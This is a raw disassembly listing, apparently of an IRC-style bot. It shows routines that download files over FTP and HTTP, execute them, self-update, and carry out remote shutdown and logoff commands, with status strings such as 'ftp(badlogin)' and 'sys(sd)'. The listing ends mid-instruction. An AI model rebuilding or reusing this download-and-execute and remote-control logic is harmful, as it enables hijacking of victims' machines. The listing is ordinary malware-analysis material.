loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F40 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F40 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F40 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F40 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F40 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C7C ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C7C ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C7C ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69B9B8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013E3 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+44h+arg_120], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_444EE0 ; "\r\n\r\n" push ecx call near ptr 77C47A50h nop add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+54h+arg_110], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8085 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F40 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8085 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+8Ch+var_3C] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_4498A6 test al, al jz short loc_41DFB6 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498EF test al, al jz short loc_41DFCE push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD80 call sub_401E79 push 1 mov byte_4E8E54, 0 nop call near ptr 77C39E7Eh loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8EAB call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FE4 lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 6 nop call near ptr 28B0000h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 5 nop call near ptr 28B0000h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 4 nop call near ptr 28B0000h loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea 